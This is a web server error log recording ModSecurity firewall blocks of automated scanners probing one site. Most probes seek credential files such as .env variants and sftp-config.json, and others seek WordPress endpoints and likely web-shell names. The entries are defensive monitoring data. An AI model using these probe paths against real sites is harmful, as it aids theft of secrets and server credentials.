[Tue May 19 04:44:24.444863 2026] [:error] [pid 38814:tid 38818] [client 103.65.237.216:53891] [client 103.65.237.216] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/sftp-config.json"] [unique_id "agt6KAvkKuBwP0epzWdD3wAAAMI"]
[Tue May 19 09:41:41.867519 2026] [:error] [pid 38814:tid 38816] [client 18.117.142.203:57511] [client 18.117.142.203] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "agu_1QvkKuBwP0epzWdo-wAAAMA"]
[Tue May 19 09:41:42.705772 2026] [:error] [pid 38699:tid 38754] [client 18.117.142.203:57546] [client 18.117.142.203] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.local"] [unique_id "agu_1r--Adsw_P-dthZWYwAAAEw"]
[Tue May 19 09:41:43.548801 2026] [:error] [pid 46896:tid 46917] [client 18.117.142.203:57567] [client 18.117.142.203] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.production"] [unique_id "agu_16CHyzL3Ci9LGE0FVwAAAZM"]
[Tue May 19 09:41:44.381104 2026] [:error] [pid 46896:tid 46898] [client 18.117.142.203:57587] [client 18.117.142.203] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.dev"] [unique_id "agu_2KCHyzL3Ci9LGE0FWAAAAYA"]
[Tue May 19 09:41:45.224504 2026] [:error] [pid 41573:tid 41581] [client 18.117.142.203:57617] [client 18.117.142.203] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.development"] [unique_id "agu_2S1A2bd6JDSW9RZLAAAAAQY"]
[Tue May 19 09:41:46.072875 2026] [:error] [pid 38697:tid 38738] [client 18.117.142.203:57646] [client 18.117.142.203] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.staging"] [unique_id "agu_2qXP9pP6Kgt-msTjQQAAABc"]
[Tue May 19 09:41:46.911700 2026] [:error] [pid 46815:tid 46838] [client 18.117.142.203:57674] [client 18.117.142.203] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.test"] [unique_id "agu_2iPnRhJOmA06LgoXywAAAVU"]
[Tue May 19 09:41:47.752760 2026] [:error] [pid 38697:tid 38722] [client 18.117.142.203:57695] [client 18.117.142.203] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.backup"] [unique_id "agu_26XP9pP6Kgt-msTjQgAAAAc"]
[Tue May 19 09:41:48.606720 2026] [:error] [pid 38697:tid 38716] [client 18.117.142.203:57723] [client 18.117.142.203] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.example"] [unique_id "agu_3KXP9pP6Kgt-msTjRAAAAAE"]
[Tue May 19 09:41:49.452498 2026] [:error] [pid 38697:tid 38719] [client 18.117.142.203:57766] [client 18.117.142.203] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.old"] [unique_id "agu_3aXP9pP6Kgt-msTjRQAAAAQ"]
[Tue May 19 09:41:50.292428 2026] [:error] [pid 38697:tid 38729] [client 18.117.142.203:57796] [client 18.117.142.203] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env_ci"] [unique_id "agu_3qXP9pP6Kgt-msTjRwAAAA4"]
[Tue May 19 09:41:51.140194 2026] [:error] [pid 38697:tid 38720] [client 18.117.142.203:57819] [client 18.117.142.203] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env_prod"] [unique_id "agu_36XP9pP6Kgt-msTjSAAAAAU"]
[Tue May 19 09:41:51.987550 2026] [:error] [pid 38697:tid 38727] [client 18.117.142.203:57848] [client 18.117.142.203] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/config/.env"] [unique_id "agu_36XP9pP6Kgt-msTjSQAAAAw"]
[Tue May 19 09:41:52.842995 2026] [:error] [pid 38814:tid 38834] [client 18.117.142.203:57869] [client 18.117.142.203] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/app/.env"] [unique_id "agu_4AvkKuBwP0epzWdo_AAAANI"]
[Tue May 19 09:41:53.685035 2026] [:error] [pid 46896:tid 46922] [client 18.117.142.203:57900] [client 18.117.142.203] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/src/.env"] [unique_id "agu_4aCHyzL3Ci9LGE0FWwAAAZg"]
[Tue May 19 09:41:54.523819 2026] [:error] [pid 46896:tid 46910] [client 18.117.142.203:57927] [client 18.117.142.203] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/api/.env"] [unique_id "agu_4qCHyzL3Ci9LGE0FXAAAAYw"]
[Tue May 19 23:07:35.706464 2026] [proxy_fcgi:error] [pid 29823:tid 29847] [client 4.188.226.213:3587] AH01071: Got error 'Primary script unknown'
[Tue May 19 23:07:35.845530 2026] [proxy_fcgi:error] [pid 29823:tid 29849] [client 4.188.226.213:3587] AH01071: Got error 'Primary script unknown'
[Tue May 19 23:07:36.125766 2026] [proxy_fcgi:error] [pid 29823:tid 29855] [client 4.188.226.213:3587] AH01071: Got error 'Primary script unknown'
[Tue May 19 23:07:36.264824 2026] [proxy_fcgi:error] [pid 29823:tid 29841] [client 4.188.226.213:3587] AH01071: Got error 'Primary script unknown'
[Tue May 19 23:07:36.575168 2026] [proxy_fcgi:error] [pid 29823:tid 29862] [client 4.188.226.213:3587] AH01071: Got error 'Primary script unknown'
[Tue May 19 23:07:36.715714 2026] [proxy_fcgi:error] [pid 29823:tid 29851] [client 4.188.226.213:3587] AH01071: Got error 'Primary script unknown'
[Tue May 19 23:07:36.854924 2026] [proxy_fcgi:error] [pid 29823:tid 29839] [client 4.188.226.213:3587] AH01071: Got error 'Primary script unknown'
[Tue May 19 23:07:37.288506 2026] [:error] [pid 29823:tid 29858] [client 4.188.226.213:3587] [client 4.188.226.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws.php"] [unique_id "agx8uWO09C0nAz8vRk5f1AAAAdM"]
[Tue May 19 23:07:37.831951 2026] [:error] [pid 41573:tid 41583] [client 4.188.226.213:3594] [client 4.188.226.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws.php"] [unique_id "agx8uS1A2bd6JDSW9RatdwAAAQg"]
[Tue May 19 23:07:38.421270 2026] [:error] [pid 41573:tid 41594] [client 4.188.226.213:3586] [client 4.188.226.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws.php"] [unique_id "agx8ui1A2bd6JDSW9RateAAAARM"]
[Tue May 19 23:07:38.998520 2026] [:error] [pid 41573:tid 41585] [client 4.188.226.213:3619] [client 4.188.226.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws.php"] [unique_id "agx8ui1A2bd6JDSW9RateQAAAQo"]
[Wed May 20 02:33:23.444028 2026] [:error] [pid 46815:tid 46836] [client 110.235.216.249:54776] [client 110.235.216.249] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 110.235.216.249, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "agys8yPnRhJOmA06LgqS0AAAAVM"]
[Wed May 20 02:33:23.454458 2026] [proxy_fcgi:error] [pid 46815:tid 46836] [client 110.235.216.249:54776] AH01071: Got error 'Primary script unknown'
[Wed May 20 04:40:13.125916 2026] [:error] [pid 59349:tid 59363] [client 194.62.107.53:31827] [client 194.62.107.53] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "agzKrTvvxTUy-ppKSZV-hwAAAMw"]
[Wed May 20 12:23:41.272826 2026] [proxy_fcgi:error] [pid 41364:tid 41367] [client 212.30.36.112:62009] AH01071: Got error 'Primary script unknown'
[Wed May 20 12:23:42.276306 2026] [proxy_fcgi:error] [pid 41278:tid 41330] [client 212.30.36.132:47439] AH01071: Got error 'Primary script unknown'
[Wed May 20 12:23:42.790263 2026] [proxy_fcgi:error] [pid 44059:tid 44073] [client 212.30.36.158:45721] AH01071: Got error 'Primary script unknown'
[Wed May 20 12:23:43.314803 2026] [proxy_fcgi:error] [pid 41277:tid 41284] [client 212.30.36.168:34633] AH01071: Got error 'Primary script unknown'
[Wed May 20 14:34:00.222754 2026] [:error] [pid 7731:tid 7757] [client 34.46.57.55:52038] [client 34.46.57.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "ag1V2H9qQlHXbkl2nEueZQAAAZg"]
[Wed May 20 14:34:00.605071 2026] [:error] [pid 7731:tid 7736] [client 34.46.57.55:65471] [client 34.46.57.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "ag1V2H9qQlHXbkl2nEuemgAAAYM"]
[Wed May 20 14:34:00.985839 2026] [:error] [pid 41278:tid 41313] [client 34.46.57.55:49372] [client 34.46.57.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "ag1V2PWiNKASEfiGdwaXMwAAAEQ"]
[Wed May 20 15:43:44.404080 2026] [proxy_fcgi:error] [pid 7731:tid 7756] [client 20.220.236.34:23937] AH01071: Got error 'Primary script unknown'
[Wed May 20 15:43:44.625686 2026] [proxy_fcgi:error] [pid 7731:tid 7753] [client 20.220.236.34:23937] AH01071: Got error 'Primary script unknown'
[Wed May 20 15:43:44.864722 2026] [proxy_fcgi:error] [pid 7731:tid 7737] [client 20.220.236.34:23937] AH01071: Got error 'Primary script unknown'
[Wed May 20 15:43:45.085397 2026] [proxy_fcgi:error] [pid 7731:tid 7745] [client 20.220.236.34:23937] AH01071: Got error 'Primary script unknown'
[Wed May 20 15:43:45.341632 2026] [proxy_fcgi:error] [pid 7731:tid 7757] [client 20.220.236.34:23937] AH01071: Got error 'Primary script unknown'
[Wed May 20 15:43:45.562626 2026] [proxy_fcgi:error] [pid 7731:tid 7743] [client 20.220.236.34:23937] AH01071: Got error 'Primary script unknown'
[Wed May 20 15:43:45.821451 2026] [proxy_fcgi:error] [pid 7731:tid 7739] [client 20.220.236.34:23937] AH01071: Got error 'Primary script unknown'
[Wed May 20 15:43:46.286961 2026] [proxy_fcgi:error] [pid 7731:tid 7749] [client 20.220.236.34:23937] AH01071: Got error 'Primary script unknown'
[Wed May 20 15:43:46.506466 2026] [proxy_fcgi:error] [pid 7731:tid 7752] [client 20.220.236.34:23937] AH01071: Got error 'Primary script unknown'
[Wed May 20 15:43:46.764082 2026] [proxy_fcgi:error] [pid 7731:tid 7756] [client 20.220.236.34:23937] AH01071: Got error 'Primary script unknown'
[Wed May 20 15:43:46.980597 2026] [:error] [pid 7731:tid 7753] [client 20.220.236.34:23937] [client 20.220.236.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "ag1mMn9qQlHXbkl2nEuvVAAAAZQ"]
[Wed May 20 15:43:47.965612 2026] [:error] [pid 7731:tid 7737] [client 20.220.236.34:34036] [client 20.220.236.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "ag1mM39qQlHXbkl2nEuvVgAAAYQ"]
[Wed May 20 15:43:49.267992 2026] [:error] [pid 41277:tid 41300] [client 20.220.236.34:11803] [client 20.220.236.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "ag1mNbTTCltJmboB5ufrUwAAABI"]
[Wed May 20 15:43:50.313515 2026] [:error] [pid 7731:tid 7741] [client 20.220.236.34:10823] [client 20.220.236.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "ag1mNn9qQlHXbkl2nEuvgwAAAYg"]
[Wed May 20 16:19:06.534309 2026] [:error] [pid 7664:tid 7678] [client 34.86.5.121:59741] [client 34.86.5.121] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.86.5.121, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ag1uenZ8s7o3eiqT2kvcewAAAUs"]
[Wed May 20 16:19:06.544802 2026] [proxy_fcgi:error] [pid 7664:tid 7678] [client 34.86.5.121:59741] AH01071: Got error 'Primary script unknown'
[Wed May 20 16:19:08.968916 2026] [:error] [pid 7664:tid 7676] [client 34.86.5.121:59741] [client 34.86.5.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "ag1ufHZ8s7o3eiqT2kvciAAAAUk"]
[Wed May 20 16:19:09.397028 2026] [:error] [pid 7731:tid 7735] [client 34.86.5.121:54997] [client 34.86.5.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "ag1ufX9qQlHXbkl2nEu5CgAAAYI"]
[Wed May 20 16:19:09.826870 2026] [:error] [pid 41364:tid 41381] [client 34.86.5.121:60017] [client 34.86.5.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "ag1ufRKTmyvxtNXrN-ilnQAAAI8"]
[Wed May 20 16:19:10.255725 2026] [:error] [pid 41279:tid 41356] [client 34.86.5.121:60491] [client 34.86.5.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "ag1ufrEFyfaehGZbt4x8dQAAANQ"]
[Wed May 20 16:19:10.684226 2026] [:error] [pid 41278:tid 41322] [client 34.86.5.121:51572] [client 34.86.5.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "ag1ufvWiNKASEfiGdwaeugAAAE0"]
[Wed May 20 16:19:11.139300 2026] [:error] [pid 7731:tid 7757] [client 34.86.5.121:63044] [client 34.86.5.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "ag1uf39qQlHXbkl2nEu5DQAAAZg"]
[Wed May 20 16:19:11.567441 2026] [:error] [pid 41279:tid 41348] [client 34.86.5.121:57626] [client 34.86.5.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "ag1uf7EFyfaehGZbt4x8dgAAAMw"]
[Wed May 20 21:10:35.252492 2026] [:error] [pid 7664:tid 7691] [client 195.178.110.155:4608] [client 195.178.110.155] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||agraphics.com.au|F|2"] [data "Multipart parsing error: Multipart: No boundaries found in payload."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "ag2yynZ8s7o3eiqT2ksHugAAAVg"]
[Wed May 20 21:10:35.252596 2026] [:error] [pid 7664:tid 7691] [client 195.178.110.155:4608] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Match of "eq 0" against "MULTIPART_STRICT_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "30"] [id "210240"] [rev "4"] [msg "COMODO WAF: Multipart request body failed strict validation: PE 1, BQ 0, BW 0, DB 1, DA 0, HF 0, LF 0, SM , IQ 0, IH 0, FLE 0||agraphics.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "ag2yynZ8s7o3eiqT2ksHugAAAVg"]
[Wed May 20 23:17:04.702206 2026] [proxy_fcgi:error] [pid 41278:tid 41317] [client 20.206.75.25:33083] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:17:06.039456 2026] [proxy_fcgi:error] [pid 41278:tid 41324] [client 20.206.75.25:33083] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:17:07.267862 2026] [proxy_fcgi:error] [pid 41278:tid 41309] [client 20.206.75.25:33083] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:17:07.594138 2026] [proxy_fcgi:error] [pid 41278:tid 41321] [client 20.206.75.25:33083] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:17:07.925939 2026] [proxy_fcgi:error] [pid 41278:tid 41310] [client 20.206.75.25:33083] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:17:11.470980 2026] [proxy_fcgi:error] [pid 41278:tid 41332] [client 20.206.75.25:33083] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:17:14.519867 2026] [proxy_fcgi:error] [pid 41278:tid 41321] [client 20.206.75.25:33083] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:17:14.841682 2026] [proxy_fcgi:error] [pid 41278:tid 41315] [client 20.206.75.25:33083] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:17:15.178621 2026] [:error] [pid 41278:tid 41327] [client 20.206.75.25:33083] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.php"] [unique_id "ag3Qe_WiNKASEfiGdwbJvAAAAFI"]
[Wed May 20 23:17:21.041818 2026] [:error] [pid 41364:tid 41371] [client 20.206.75.25:14542] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.php"] [unique_id "ag3QgRKTmyvxtNXrN-j_gwAAAIU"]
[Wed May 20 23:17:24.808666 2026] [:error] [pid 41364:tid 41378] [client 20.206.75.25:14560] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.php"] [unique_id "ag3QhBKTmyvxtNXrN-j_kQAAAIw"]
[Wed May 20 23:17:35.687220 2026] [:error] [pid 41277:tid 41296] [client 20.206.75.25:1482] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods.php"] [unique_id "ag3Qj7TTCltJmboB5ucTVwAAAA4"]
[Wed May 20 23:17:39.611128 2026] [:error] [pid 7731:tid 7751] [client 20.206.75.25:33201] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods.php"] [unique_id "ag3Qk39qQlHXbkl2nEtCJAAAAZI"]
[Wed May 20 23:17:44.597635 2026] [:error] [pid 44059:tid 44062] [client 20.206.75.25:33273] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods.php"] [unique_id "ag3QmBfFs-oSOOcyjyxD5AAAAQE"]
[Wed May 20 23:17:46.759515 2026] [:error] [pid 41364:tid 41379] [client 20.206.75.25:1501] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods.php"] [unique_id "ag3QmhKTmyvxtNXrN-j_xQAAAI0"]
